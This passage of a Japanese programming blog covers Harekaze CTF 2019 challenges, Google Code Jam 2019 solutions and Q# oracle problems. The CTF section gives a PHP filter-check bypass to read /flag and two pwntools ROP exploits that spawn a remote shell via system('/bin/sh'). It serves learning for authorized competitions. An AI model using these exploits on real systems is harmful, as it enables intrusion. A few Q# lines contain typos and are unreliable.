        write!(&mut stream, "{}", dbg!(ans));
    }

    Ok(())
}

fn encode(bd: &Vec<u32>) -> u64 {
    (0..9).map(|i| (bd[i] as u64) << (i * 4)).sum()
}

fn solve(bd: &Vec<u32>) -> Vec<u32> {
    let start = encode(bd);
    let goal = encode(&vec![0, 1, 2, 3, 4, 5, 6, 7, 8]);

    let mut q = std::collections::VecDeque::new();
    q.push_back(start);
    let mut prev = std::collections::HashMap::<u64, (u32, u64)>::new();
    prev.insert(start, (0, 0));

    const VECT: &[(i32, i32)] = &[(0, -1), (1, 0), (0, 1), (-1, 0)];
    while let Some(bd) = q.pop_front() {
        assert!(prev.contains_key(&bd));
        if bd == goal {
            println!("FOUND");
            break;
        }

        let mut x = 0;
        let mut y = 0;
        for i in 0..9 {
            if ((bd >> (i * 4)) & 15) == 0 {
                x = i % 3;
                y = i / 3;
            }
        }

        for dir in 0..4 {
            let (vx, vy) = VECT[dir as usize];

            let nx = x as i32 + vx;
            let ny = y as i32 + vy;

            if nx >= 0 && nx < 3 && ny >= 0 && ny < 3 {
                let nbd = swap(bd, x, y, nx as usize, ny as usize);
                if !prev.contains_key(&nbd) {
                    prev.insert(nbd, (dir, bd));
                    q.push_back(nbd);
                }
            }
        }
    }

    let mut cur = goal;
    let mut ans = vec![];
    while cur != start {
        let (mv, next) = prev.get(&cur).unwrap();
        cur = *next;
        ans.push(*mv);
    }
    ans.reverse();

    ans
}

fn swap(bd: u64, x: usize, y: usize, nx: usize, ny: usize) -> u64 {
    let p = (y * 3 + x) * 4;
    let np = (ny * 3 + nx) * 4;

    bd & !(15 << p) & !(15 << np) | (((bd >> p) & 15) << np) | (((bd >> np) & 15) << p)
}

100問解くとフラグが現われた。ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72} これもどういう意味なんだろう。

Harekaze CTF 2019 writeup

Harekaze CTF 2019 - Harekazeharekaze.com

今後のために、せっかくなので解いた問題の記録残しておこうと思います。

scramble

正しいフラグを標準入力から入れるとCorrect!と表示されるプログラムが与えられるみたいなんで、そこから逆算してフラグを求める問題っぽい。とりあえず入力はscrambleという関数に掛けられて、正解の値と比較される。scrambleのコードを逆コンパイルすると、

void scramble(long lParm1)
{
  byte bVar1;
  int iVar2;
  byte bVar3;
  byte bVar4;
  int iVar5;
  uint uVar6;
  int *piVar7;
  uint uVar8;
  uint uVar9;
  byte *pbVar10;
  
  piVar7 = table;
  uVar6 = 0;
  do {
    iVar2 = *piVar7;
    pbVar10 = (byte *)((long)(int)(uVar6 / 7) + lParm1);
    bVar1 = *pbVar10;
    bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7;
    iVar5 = iVar2 / 7 + (iVar2 >> 0x1f);
    bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7;
    uVar8 = 1 << (bVar3 & 0x1f);
    uVar9 = 1 << (bVar4 & 0x1f);
    *pbVar10 = (byte)(((int)((uint)*(byte *)(lParm1 + (long)(iVar5 - (iVar2 >> 0x1f))) & uVar9) >>
                      (bVar4 & 0x1f)) << (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1;
    pbVar10 = (byte *)(lParm1 + (long)(*piVar7 / 7));
    *pbVar10 = *pbVar10 & ~(byte)uVar9;
    iVar2 = *piVar7;
    uVar6 = uVar6 + 1;
    piVar7 = piVar7 + 1;
    pbVar10 = (byte *)(lParm1 + (long)(iVar2 / 7));
    *pbVar10 = *pbVar10 | (byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f));
  } while (uVar6 != 0x10a);
  return;
}

こんなのが出てきたので、これを頑張って読んだら、要するに

for (int i = 0; i < 0x10a; i++) {
    int j = table[i];
    swap(input[i/7]のi%7ビット目、input[j/7]のi%7ビット目);
}

みたいなことをやってることが分かったので、これの逆関数はiを逆順で回してやればいいんで、それで埋め込まれてる値を元に戻してやればフラグが出てきた。

ONCE UPON A TIME

与えられたプログラムを読んでみると、入力を25文字ずつに区切って、それをuint8として5x5行列にして、別の定数の行列と(mod 251で)掛け合わせて、その結果を16進数で繋げて出力しているプログラムのようだった。なんで、有限体上での逆行列が求まればそれで終わりっぽいんだけど、スクラッチで書くのめんどくさいし、既存の実装もよく分からなかったのでSMTソルバーに解かせることにした。

import Control.Monad
import Data.List
import Data.SBV

input = [[[234, 89, 41, 233, 126], [247, 120, 6, 187, 67], [236, 48, 63, 48, 70], [115, 222, 25, 247, 230], [142, 221, 195, 71, 243]], [[55, 62, 228, 192, 182], [98, 188, 55, 118, 79], [116, 203, 184, 187, 146], [25, 231, 181, 219, 197], [156, 164, 164, 32, 24]]]

mat = [[1, 3, 2, 9, 4], [0, 2, 7, 8, 4], [3, 4, 1, 9, 4], [6, 5, 3, -1, 4], [1, 4, 5, 3, 5]]

main :: IO ()
main = do
    print =<< (sat $ gemm mat (input !! 0) True)
    print =<< (sat $ gemm mat (input !! 0) False)
    print =<< (sat $ gemm mat (input !! 1) True)
    print =<< (sat $ gemm mat (input !! 1) False)

gemm :: [[Int]] -> [[Int]] -> Bool -> Symbolic ()
gemm b c flip = do
    a <- forM [0..4] $ \i -> do
        forM [0..4] $ \j -> do
            e <- sInt32 $ "a_" ++ show i ++ "_" ++ show j
            constrain $ e .>= 0x20 &&& e .<= 0x7f
            return e
    b <- return $ map (map fromIntegral) b
    c <- return $ map (map fromIntegral) c
    (a, b) <- return $ if flip then (b, a) else (a, b)
    
    let c_ = [ [ sum (zipWith (*) r c) `sMod` 251 | c <- transpose b ] | r <- a ]

    constrain $ c .== c_

行列積が一致しているかどうかを比較するだけのナイーブなコード。出力は行列2個分で、それが行列を右から掛けるか左から掛けるかランダムな実装になっていたので、両方試す。入力は文字列だと分かっているので制約を掛けてやらないと大きい数が出てきてしまうのでちゃんと範囲を入れてやる必要がある。これぐらいのサイズならz3で1分程度で求まった。

Encode & Encode

なんかファイルパスを指定したらそれをfile_get_contents()して返してくれるPHPのWebアプリが与えられるので、フラグのファイル名与えて中身教えてもらうという問題のようだ。が、

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

ファイルのパスに特定の文字列が入っていたらはじかれる処理が入っていたり、

$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);

ファイルの中身にフラグが入っていたら消されたりする処理が入っているので二段階でこれを突破する必要がある。

1つ目に関しては、ファイル名のチェックがjsonのデコードの前に行われているという問題のあるコードになってるので、そこを突いて文字列をjsonエスケープ文字でエスケープして送れば突破できる。フラグが入っているパスは "/flag" なので、とりあえず "/\u0066lag" とか送ってやるとcensoredされたフラグがゲットできる。

2つ目に関しては、phpのストリームフィルターというもので突破できる。"php://filter/read=<なんか関数>/resource=<入力リソース>" とかやると、入力に対して任意の(?)phpの関数を適用しながら読んでくれるみたいだ。なので、今回は "php://filter/read=convert.base64-encode/resource=/flag" とかやると、base64エンコードした内容が貰えるのでチェックを回避できる。このパス中の "php"と"flag"がパスチェックに引っかかるので、"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag" として送ればフラグをbase64エンコードしたものがゲットできる。

(´・_・`).oO(なんだこれ。PHP頭おかしいだろう・・・)

Baby ROP

サーバーをハックして鍵ゲットしろみたいな問題。プログラムのバイナリは貰える。とりあえず逆コンパイルしてみたら、こんな単純なプログラムだ。

undefined8 main(void)
{
  undefined local_18 [16];
  
  system("echo -n \"What\'s your name? \"");
  __isoc99_scanf(&DAT_004006c5,local_18);
  printf("Welcome to the Pwn World, %s!\n",local_18);
  return 0;
}

どう見てもバッファオーバーフローする危ないコードだけど、実際具体的に攻撃したことはなかったのでなかなか難しかった。

この問題のキモはsystem関数が呼ばれていることみたいだ。systemが呼ばれていることで、リロケーションされない本体のバイナリの固定のアドレスに、system関数へのサンク関数が作られる。なので、格段に攻撃がやりやすくなっているみたいだ。

アセンブリコードを読むと、この関数はスタック8バイト使ってるので、ripの保存先がscanfのバッファーの24バイト目からになっていることが分かる。なので、ここに書いてやればretで好きなアドレスに飛べる。

f:id:tanakh:20190519235341p:plain

これでsystem関数に飛びたいのだが、x86_64では1つ目のポインタ変数がrdiレジスタで渡されるので、バッファオーバーフローでは直接書き込めない。なので、rdiにpopするコードを経由してrdiに好きな値を書き込ませる。プログラム中に pop rdi; ret という命令列が存在していれば、ここに飛ぶことによってrdiに好きな値を書き込ませて好きな関数をコールできることになる。

そんな都合の良い命令列があるのか?というと実際にあるみたいだ。__libc_csu_init()の最後の部分、

                  ...
00400682  41 5f   POP  R15
00400684  c3      RET

pop r15 の2バイトのうち、後ろ1バイトだけだとpop rdiになるんで、0x00400683からだと、

                  ...
00400683  5f      POP  RDI
00400684  c3      RET

になるみたいだ。これを使えば、

f:id:tanakh:20190520001152p:plain

こういう順でメモリを書いてやれば、好きな引数でsystem()を呼び出せる。systemで何を呼び出すのか?小さいバイナリなので存在する文字列は限られているが、system/bin/shを利用する都合上、"/bin/sh" は存在している。というか、まさにこれを呼び出してしまえばリモートマシンでシェルを好き放題いじれる。

というわけで、結局、何を送れば良いのかというと、適当な文字24バイト+pop rip; retのアドレス+"/bin/sh"のアドレス+systemのアドレス、と言うことになる。

これをシコシコ組み立てればいいのだが、なんかpythonpwntools という、それ用の処理を抽象的に組み立てられる死ぬほど便利なツールがあるらしいのでそれを使ってみた。

from pwn import *

context.clear(arch='amd64')
context.log_level = 'debug'

io = remote('problem.harekaze.com', 20001)

# "/bin/sh" のアドレス取得
elf = ELF("./babyrop")
binsh = next(elf.search('/bin/sh'))

# system("/bin/sh") を呼び出すためのバイト列を作ってくれるやつ
rop = ROP('./babyrop')
rop.system(binsh)
# print rop.dump()

io.recv() # "What's your name?" 受信
# cyclic()はde Bruijn sequenceを作ってくれる関数
# rop.chain()は組み立てたバイト列を返す
payload = cyclic(24) + rop.chain()
io.sendline(payload)

# 入出力を端末に繋いでやりたい放題
io.interactive()

なんだこのツールは・・・なんかいろいろ揃いすぎててやばすぎる。

これで他人のマシンにshしてコマンド実行しまくれるようになったのだが、実際やってみるとまじでできちゃうんだ・・・という感じが強くて、怖い。・・・怖いけどなんだか成し遂げた感があってそれも怖い・・・(((´・_・`))).oO(とりあえずスタックオーバーフローには気をつけような・・・まずはC言語使うのやめるところから始めようか)

ちなみにこうやってreturnで関数呼び出しながらプログラム実行していくのをreturn oriented programming (ROP)と呼ぶらしく、その際に使えるバイナリ中の有用(有用とは)な命令列をgadgetとか呼ぶらしい。

Baby ROP 2

さっきよりちょっと難しくなったバージョン。

今度はlibcが動的リンクされていて、あんまり便利な関数が使われていないので、それらへの静的なアドレスが手には入らない。

undefined8 main(void)
{
  ssize_t sVar1;
  undefined local_28 [28];
  int local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  printf("What\'s your name? ");
  sVar1 = read(0,local_28,0x100);
  local_c = (int)sVar1;
  local_28[(long)(local_c + -1)] = 0;
  printf("Welcome to the Pwn World again, %s!\n",local_28);
  return 0;
}

なんで28バイトのバッファーに堂々と0x100バイトreadしてるんだとかツッコミどころはすごいけど、攻撃するのは結構難しい。

libcが動的リンクされるので、なんとかそこのsystemを呼び出したいが、最近の(最近とは)Linuxでは、動的リンクされるアドレスやスタックアドレスはセキュリティーのためにランダマイズされるので、まずはそのアドレスを特定してやらなければならない。特定した上でプロセスを終了させずに再度脆弱性のある入力を行わさせないといけない。

とりあえず固定アドレスが得られる関数としてはプログラム中で使われているsetvbufreadprintfの3つだが、このうち情報の漏洩に使えるのはprintfだけだ。このprintfで、printfのgotエントリーの値を表示させる。gotにはロードされた実体へのアドレスが実行時に解決されて入っているので、これを表示させて手に入れて、soファイル中でのオフセットから引いてやれば、libcがどこにロードされたか判明する。

from pwn import *

context.clear(arch='amd64')
context.log_level = 'debug'

io = remote('problem.harekaze.com', 20005)

elf = ELF('babyrop2')
libc = ELF('libc.so.6')

printf_got = elf.got['printf']
printf_offset = libc.symbols['printf']

rop = ROP('./babyrop2')

# printf(printf_got + 1) を呼び出すバイト列の積み込み
rop.printf(printf_got + 1)

# "What's your name?" 読み飛ばし
io.recv()

# 今回はオフセットは40バイト
payload = cyclic(40) + rop.chain()
io.sendline(payload)

# "Welcome to the Pwn again, .... " 読み飛ばし
io.recv()

# printf(printf_got + 1) が表示したもの(5バイト)を受信して数値に変換
printf_libc = u64(b'\x00' + io.recv(5) + b'\x00' * 2)
# オフセットを引いてlibcのロードされたアドレスを計算する
libc_base = printf_libc - printf_offset

スタックにprintfのgotエントリーをprintfするように積んで、その中身を表示させる。ただ何回か実行しても、下位1バイトは必ず0になるところにロードされるらしいので、何も表示されない(文字列null終端なので0からだと何も表示されない)。なので、+1したアドレスから表示してもらうことにした。また、7,8バイト目も必ず0になるみたいなので(そういえば論理アドレス48ビットだったか)結局確定で送られてくるのは2バイト目から6バイト目までの最長5バイトである(運が悪いと途中で0が入ってしまうが、確率は高くないし何回もやれば良い)。

で、libcのアドレスが手には入ったが、次のプロセスではまた値が変わってしまうので、同じプロセスでなんとかこの値を使ってsystemを呼び出さなければならない。じゃあどうすれば良いのかというと、mainを再度呼び出してしまえば良い。printfからretした後、次に実行されるのは、その+8のアドレスになるので、そこにmainのアドレスを書いてやればprintfした後にmainを呼び出させることができる。

f:id:tanakh:20190520010817p:plain

これで、サーバーはまんまとまた入力を受け付けるようになるので、再度、今度はsystem("/bin/sh")を実行させるバイト列を送ってやれば良い。

system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))

# "What's your name?" 読み飛ばし
io.recv()
rop = ROP('./babyrop2')
# オフセットを足してアドレス計算して積む
rop.call(libc_base + system_offset, [libc_base + binsh_offset])
payload = cyclic(40) + rop.chain()
io.sendline(payload)

# 端末に繋ぐ
io.interactive()

これで乗っ取り完了。

二段階で攻撃するのが結構大変で、いろいろ調べて勉強になった。これもこんなコードで乗っ取られてしまうんだなあと言う印象が強くて、思ったより世の中恐ろしいんだなと。

Twenty-five

アルファベットがシャッフルされたppencodeされたperlのコードが与えられるので、元に戻して実行しろという問題。

存在する予約語から制約書いて解けば解けると思うが、めんどくさかったので、手で確定する文字から順に埋めていった。zを除く25文字しかないしね。そういう風に作られてるのか分からないけれど、すべて確定的に決まっていった。

[a-z().]

JavaScript[a-z().]な文字のみを使って1337を作れという問題。コード長は200文字未満でなければいけない。

JavaScriptは全然詳しくないので手探り感がすごかったが、nodeのreplでいろいろいじいじしていると、関数.nameで関数名が文字列として取れることが分かった。なので、それの.lengthを取ればなんらかの数が作れる。数を文字列の長さとして表すなら、かけ算はa.repeat(b.length)だし、足し算はa.concat(b)だし、引き算はa.substr(b.length)である。

JavaScriptはbuiltin関数が意外と少なくて、なおかつ大文字が使えないのでどこから基本の文字列引っ張ってくるか悩ましかったが、とりあえず4 = eval.name.length6 = escape.name.length8 = unescape.name.length7 = console.profile.name.length あたりの数を拾えた。

んで、1337をどう表現するかで、いろいろいじいじしてたら 7*6*8*4-7 という式が出てきたので、これをさっきのルールで変換していくと

console.profile.name.repeat(escape.name.length).repeat(unescape.name.length).repeat(eval.name.length).substr(console.profile.name.length).length

というプログラムができあがった(145文字)。

これはなんか最短を目指すと面白い問題な気がする。あと今気付いたけどtypeof(x)とかの方が短くなりそうな気がした。

Google Code Jam 2019 Qualification Round

せっかくなので記録付けてみようと思います。

Foregone Solution

10進表記で'4'を一つ以上含む数N(<=10100)が与えられるので、N=A+Bなる'4'を含まない数A、Bに分解せよ、という問題。

Nのうち'4'の桁を'3'にしたものをA、'4'の桁を'1'、それ以外の桁を'0'にしたものをBにすればいい。簡単すぎて英語がちゃんと読めたのか不安になる問題。入力が100桁ぐらい来るそうなので、intに直さず文字列のままやらないと多倍長が扱いにくい言語では難しい。

fn main() {
    input! {
        n: usize,
        ns: [chars; n],
    }

    for (i, n) in ns.into_iter().enumerate() {
        let mut a = vec![];
        let mut b = vec![];

        for c in n {
            if c == '4' {
                a.push('3');
                b.push('1');
            } else {
                a.push(c);
                if b.len() > 0 {
                    b.push('0');
                }
            }
        }

        println!(
            "Case #{}: {} {}",
            i + 1,
            a.iter().collect::<String>(),
            b.iter().collect::<String>()
        );
    }
}

You Can Go Your Own Way

N×N(<=50000)の格子を左上から右下まで、右と下の移動のみで移動するパスが与えられるので、そのパスと被らないような同じく左上から右下に右と下の移動のみで移動するパスを求めよという問題。

元のパスで対角線と交差するような点までの移動について、最初の移動方向を逆にすれば簡単に重複しないパスが求められるのでそういう実装にしたけど、よく考えたら、というか全然よく考えなくても、これ元のパスの右と下入れ替えるだけで同じところ通らないパスができますね…。

fn main() {
    input! {
        n: usize,
        qs: [(usize, chars); n],
    }

    for (i, (n, cs)) in qs.into_iter().enumerate() {
        let mut ans = vec![];

        let mut head = ' ';
        let mut r = 0;
        let mut d = 0;
        for c in cs {
            if r == 0 && d == 0 {
                head = c;
            }

            if c == 'E' {
                r += 1;
            } else {
                d += 1;
            }

            if r == d {
                for _ in 0..r {
                    ans.push(if head == 'E' { 'S' } else { 'E' });
                }
                for _ in 0..r {
                    ans.push(head);
                }

                r = 0;
                d = 0;
            }
        }

        println!("Case #{}: {}", i + 1, ans.iter().collect::<String>());
    }
}

Cryptopangrams

相異なる26個の素数(<=10100)を選び、小さい順にA...Zの文字を割り当てる。アルファベット大文字だけからなるL+1文字の平文テキストに対して、隣り合う文字にそれぞれ割り当てられた素数の積L(<=100)個が計算される。この計算されたL個の積が与えられるので、元のテキストを求めよ、という問題。元のテキストは必ずすべてのアルファベットを1回以上含む。ちなみに選ばれた素数はNを超えませんよという数が与えられるけど、これ制約以外に何に使うんだろう。

素数は最大で10100まであるという大きな制約なので、単に素因数分解するのは不可能。しかし隣り合った数は必ず同じ素数を素因数に持つので、gcdをとれば簡単に素因数分解できる。が、元のテキストが例えば"ABA"などとなっていた場合、P[A]×P[B] = P{B]×P[A] なので、gcdでは素因数分解できない。それでも、入力はすべての文字を1回以上含むという制約があるので、どこかしら24か所ぐらいは必ず素因数分解できるところがある。どこか一か所素因数分解できるところが見つかれば、そこから左右にばらしていけば結局全部素因数分解できる。すべての数が素因数分解できれば、あとは素因数を集めて、小さい順にA..Zの文字を割り当て、それに基づいてテキストに戻せばよい。

実装が案外面倒なので、WA積んでしまった。多倍長扱うために久しぶりに競プロでHaskellを使った。競プロはもっと多倍長使わせてもいいと思う。入力が264にフィットするようにしかならないのはやっぱなんか不自然な気がする。

{-# Language ScopedTypeVariables #-}

import Control.Monad
import Data.List
import Data.Maybe
import Text.Printf
import Control.Exception

main :: IO ()
main = do
    cases <- readLn
    forM_ [1..cases] $ \(caseno :: Int) -> do
        [n, l] :: [Int] <- map read . words <$> getLine
        ls :: [Integer] <- map read . words <$> getLine

        let g a b =
                let t = gcd a b
                in if t == a || t == b then Nothing else Just t

        let p1 = head $ catMaybes $ zipWith g ls $ tail ls
        let go1 (x:y:xs) p
                | x /= y && x`mod`p == 0 && y`mod`p == 0 = go3 xs (y `div` p)
                | otherwise = go1 (y:xs) p

            go3 [] p = p
            go3 (x: xs) p = assert (x`mod`p == 0) $ go3 xs (x `div` p)

        let initp = go1 (reverse ls) p1

        let go2 [] p = [p]
            go2 (x:xs) p = p: go2 xs (x `div` p)
        let ps = go2 ls initp

        let dict = zip (sort $ nub ps) ['A'..]
        let ans = map (\p -> fromJust $ lookup p dict) ps

        printf "Case #%d: %s\n" caseno ans

(久しぶりにHaskell書いたからかコードが汚すぎる)

Dat Bae

N(<=1024)個のコンピューターがあって、各コンピューターは1ビットだけデータを保存できる。マスターは各コンピューターに保存させるNビットのデータを与えることができて、各コンピューターはその保存した値を返す。ところが、B個(<=15)のコンピューターは壊れており、壊れているコンピューターは値を返さない。つまり、与えたNビットのうちどこかBビットが欠損したものが返ってくる。このクエリをF(=10 or 5)回まで行えるとき、どのコンピューターが壊れているかを特定しろというインタラクティブ問題。

Test set 1ではクエリは10回まで行える。210=1024なのでとても都合の良い制約が見える。それで考えてみると、例えば、各マシンが保存できる数が0,1の2値ではなく、任意の数にできる場合ならどうなるか。この場合はとても簡単で、マシン0には0を、マシン1には1を、マシンiにはiをそれぞれ保存するように指示すると、まさに壊れているマシンのIDが欠損したリストが返ってくるはずである。では1ビットしか保存できない場合はどうすればいいのか考えると、2進の桁を1桁ずつ送ってその結果をまとめれば結局10ビットの値を扱えたのと同じことになる。0~1023の値のどこが欠損したかがわかるので、10回クエリができるなら、簡単にどのマシンが壊れているのか特定できることになる。

Test set 2ではクエリは5回までしか行えない。同じように考えると、符号化できるのは0~31までになる。ところが、壊れている台数は15台以下なので、同じようにして壊れているマシンが特定できてしまう。各マシンに与えるデータを0,1...31,0,1...31,...とIDの下位5ビットとすると、そのうち高々15か所が抜けて返ってくる。抜ける箇所が31か所までであるならば、つまり、周期1個分まるまる抜けるというようなことがなければ、周期的に考えてどこが抜けているかは簡単に求められる。というわけで、クエリが5回でも割と簡単に特定できる。問題の制約はF=5だけど、実際には4回でも解ける気がする。

// Leftover食えるようにマクロをいい加減に改造している
// もうちょっとまともにきれいにしてマージしたい
#[allow(unused_macros)]
macro_rules! input {
    (next = $e:expr, $($r:tt)*) => {
        input_inner!{$e, $($r)*}
    };
    ($($r:tt)*) => {
        let stdin = std::io::stdin();
        let mut bytes = std::io::Read::bytes(std::io::BufReader::new(stdin.lock()));
        let mut next = move || -> String{
            bytes
                .by_ref()
                .map(|r|r.unwrap() as char)
                .skip_while(|c|c.is_whitespace())
                .take_while(|c|!c.is_whitespace())
                .collect()
        };
        input_inner!{next, $($r)*}
    };
}

#[allow(unused_macros)]
macro_rules! input_inner {
    ($next:expr) => {};
    ($next:expr, ) => {};

    ($next:expr, $var:ident : $t:tt $($r:tt)*) => {
        let $var = read_value!($next, $t);
        input_inner!{$next $($r)*}
    };

    ($next:expr, mut $var:ident : $t:tt $($r:tt)*) => {
        let mut $var = read_value!($next, $t);
        input_inner!{$next $($r)*}
    };
}

#[allow(unused_macros)]
macro_rules! read_value {
    ($next:expr, ( $($t:tt),* )) => {
        ( $(read_value!($next, $t)),* )
    };

    ($next:expr, [ $t:tt ; $len:expr ]) => {
        (0..$len).map(|_| read_value!($next, $t)).collect::<Vec<_>>()
    };

    ($next:expr, chars) => {
        read_value!($next, String).chars().collect::<Vec<char>>()
    };

    ($next:expr, bytes) => {
        read_value!($next, String).into_bytes()
    };

    ($next:expr, usize1) => {
        read_value!($next, usize) - 1
    };

    ($next:expr, $t:ty) => {
        $next().parse::<$t>().expect("Parse error")
    };
}

use std::io::Write;

// 本文ここから
fn main() {
    let stdin = std::io::stdin();
    let mut bytes = std::io::Read::bytes(std::io::BufReader::new(stdin.lock()));
    let mut next = move || -> String {
        bytes
            .by_ref()
            .map(|r| r.unwrap() as char)
            .skip_while(|c| c.is_whitespace())
            .take_while(|c| !c.is_whitespace())
            .collect()
    };

    input! {
        next = next,
        cases: usize,
    }

    for _ in 0..cases {
        input! {
            next = next,
            n: usize,
            b: usize,
            _f: usize,
        }

        let mut acc = vec![0; n - b];

        for i in 0..5 {
            let mut test_case = vec![0; n];
            for j in 0..n {
                test_case[j] = ((j % 32) >> i) & 1;
            }

            for j in 0..n {
                print!("{}", test_case[j]);
            }
            println!();
            std::io::stdout().flush().unwrap();

            input! {
                next = next,
                res: chars,
            }

            assert_eq!(res.len(), n - b);

            for j in 0..n - b {
                if res[j] == '1' {
                    acc[j] |= 1 << i;
                }
            }
        }

        let mut ans = vec![];
        let mut cur = 0;

        for i in 0..n - b {
            while cur % 32 != acc[i] {
                ans.push(cur);
                cur += 1;
            }
            cur += 1;
        }

        while cur < n {
            ans.push(cur);
            cur += 1;
        }

        for i in 0..ans.len() {
            if i != 0 {
                print!(" ");
            }
            print!("{}", ans[i]);
        }
        println!();
        std::io::stdout().flush().unwrap();

        input! {
            next = next,
            verdict: i32,
        }

        assert_eq!(verdict, 1);
    }
}

Microsoft Q# Coding Contest - Winter 2019 - その4

今回はC1からです。

$$ \def\bra#1{\mathinner{\left\langle{#1}\right|}} \def\ket#1{\mathinner{\left|{#1}\right\rangle}} \def\braket#1#2{\mathinner{\left\langle{#1}\middle|#2\right\rangle}} $$

C1. Alternating bits oracle

問題

次のようなN($1\le N \le 7$) Qubitの量子オラクルを実装せよ。

  • $\vec{x}の隣接するビットに00か11が含まれていないなら f(\vec{x}) = 1$

なお、adjoint autoでadjointが生成できなければならない。

解答

C問題シリーズは量子オラクルを実装するものです。 量子オラクルというのは、このあたりに詳しいです。 要するに、 $$O(\ket{x}\otimes\ket{y}) = \ket{x}\otimes\ket{y\oplus f(x)}$$ なる$O$を実装せよというものです。

問題の解き方ですが、隣接するビットに00か11が含まれていないものというのは、 0101010...か101010...のような、1と0が交互に現われるものの2通りしかありません。 なので、Nビットのそういうパターン2種類について、それぞれのビット列に対してControlled XすればOKです。

operation Solve (x : Qubit[], y : Qubit) : Unit {
    body (...)  {
        let n = Length(x);
        let pat = 0x55555555;
        (ControlledOnInt(pat % (1<<<n), X))(x, y);
        (ControlledOnInt((pat>>>1) % (1<<<n), X))(x, y);
    }
    adjoint auto;
}

C2. "Is the bit string periodic?" oracle

問題

次のようなN($1\le N \le 7$) Qubitの量子オラクルを実装せよ。

  • $\vec{x}がperiodicなら、f(\vec{x}) = 1$

あるビット列がperiodicであるとは、ある$P (1 \le P \le N-1)$があって、 全ての$i\in[0,N-P-1]$に対して$x_i=x_{i+P}$であるようなものである。 $P$は$N$を割り切らなくても良い。例えば"01010"は$P=2$でperiodicである。

解答

いいんですかねこんなので。 通ってしまったものは仕方が無い。

operation Solve (x : Qubit[], y : Qubit) : Unit {
    body (...) {
        let tbl =
            [[1,2]
            ,[1,3,4,6]
            ,[1,3,7,8,12,14]
            ,[1,3,5,7,11,15,16,20,24,26,28,30]
            ,[1,3,5,7,11,13,15,19,23,31,32,40,44,48,50,52,56,58,60,62]
            ,[1,3,5,7,9,11,13,15,19,21,23,27,29,31,35,39,43,47,55,63,64,72,80,84,88,92,96,98,100,104,106,108,112,114,116,118,120,122,124,126]];
        X(y);
        let n = Length(x);
        for (i in 0..Length(tbl[n-2])-1) {
            (ControlledOnInt(tbl[n-2][i], X))(x, y);
        }
    }
    adjoint auto;
}

C3. "Is the number of ones divisible by 3?" oracle

問題

次のようなN($1\le N \le 9$) Qubitの量子オラクルを実装せよ。

  • $\vec{x}$中の立っているビットの数が3で割り切れるなら$f(\vec{x})=1$、それ以外なら$f(\vec{x})=0$

解答

C2と同様にテーブルでやってみたところ、サイズが大きくて時間がかかりTLEになりました。 なのでまともに解きます。

立っているビットの数を数えるには、加算器を実装します。 加算結果は最大で9になるので、4ビット必要です。 なので、4ビット+1ビットの加算器を実装することになります。

実装するものを、[a0, a1, a2, a3] + b = [c0, c1, c2, c3] とすれば、

c3 = a3 ^ (b & a0 & a1 & a2)
c2 = a2 ^ (b & a0 & a1)
c1 = a1 ^ (b & a0)
c0 = a0 ^ b

となります(桁上がりするにはそれより前の桁が全部1になっていないといけないので)。 これをもとに、xのうち立っているビットを数える操作をQ#で書くと、

// qs: 数えた結果
// x: 入力
operation Count(qs: Qubit[], x: Qubit[]): Unit {
    body(...) {
        let n = Length(x);
        let a0 = qs[0];
        let a1 = qs[1];
        let a2 = qs[2];
        let a3 = qs[3];

        for (i in 0..n-1) {
            let b = x[i];
            (ControlledOnBitString([true, true, true, true], X))([b, a0, a1, a2], a3);
            (ControlledOnBitString([true, true, true], X))([b, a0, a1]2);
            CCNOT(b, a0, a1);
            CNOT(b, a0);
        }
    }
    // 全体をAdjacentにしないといけないのでこれもAdjacentにしないといけない
    adjoint auto;
}

このようになります。カウントができれば、あとはこれが3の倍数かどうかチェックする関数を書きます。入力のレンジが0~9なので、べた書きすればよいでしょう。

// qsは使わないけど形合わせ(後述)
operation Check(qs: Qubit[], y: Qubit): Unit {
    body(...) {
        (ControlledOnInt(0, X))(qs, y);
        (ControlledOnInt(3, X))(qs, y);
        (ControlledOnInt(6, X))(qs, y);
        (ControlledOnInt(9, X))(qs, y);
    }
    adjoint auto;
}

これを組み合せれば、

operation Solve (x : Qubit[], y : Qubit) : Unit {
    body (...) {
        using (qs = Qubit[4]) {
            Count(qs, x);
            Check(qs, y);
        }
    }
    adjoint auto;
}

となりますが、usingブロックの終了時点で確保したQubitはゼロ状態に戻しておかなければならないので、Countの逆操作を行う必要がります。これを手で書くのは面倒ですが、Q#には逆操作をadjoint autoで自動で作る機能がありますし、しかも今回の問題はそれを要求されているので、それを使えばよさそうです。

operation Solve (x : Qubit[], y : Qubit) : Unit {
    body (...) {
        using (qs = Qubit[4]) {
            Count(qs, x);
            Check(x, y);
            Adjoint Count(qs, x);
        }
    }
    adjoint auto;
}

ところで、こういう何らかの操作Aを行って、別の操作Bを行って、それからAで行った操作を元に戻す、という一連の操作はよく出てくるみたいなので、それを行うためのWithAという関数が用意されています。これを使えば、全体のコードを次のように書けます(WithAを使うためにCountCheckの引数をそろえています)。

operation Solve (x : Qubit[], y : Qubit) : Unit {
    body (...) {
        using (qs = Qubit[4]) {
            WithA(Count, Check, (qs, x, y));
        }
    }
    adjoint auto;
}

operation Count(qs: Qubit[], x: Qubit[], y: Qubit): Unit {
    body(...) {
        let n = Length(x);
        let a0 = qs[0];
        let a1 = qs[1];
        let a2 = qs[2];
        let a3 = qs[3];

        for (i in 0..n-1) {
            let b = x[i];
            (ControlledOnBitString([true, true, true, true], X))([b, a0, a1, a2], a3);
            (ControlledOnBitString([true, true, true], X))([b, a0, a1]2);
            CCNOT(b, a0, a1);
            CNOT(b, a0);
        }
    }
    adjoint auto;
}

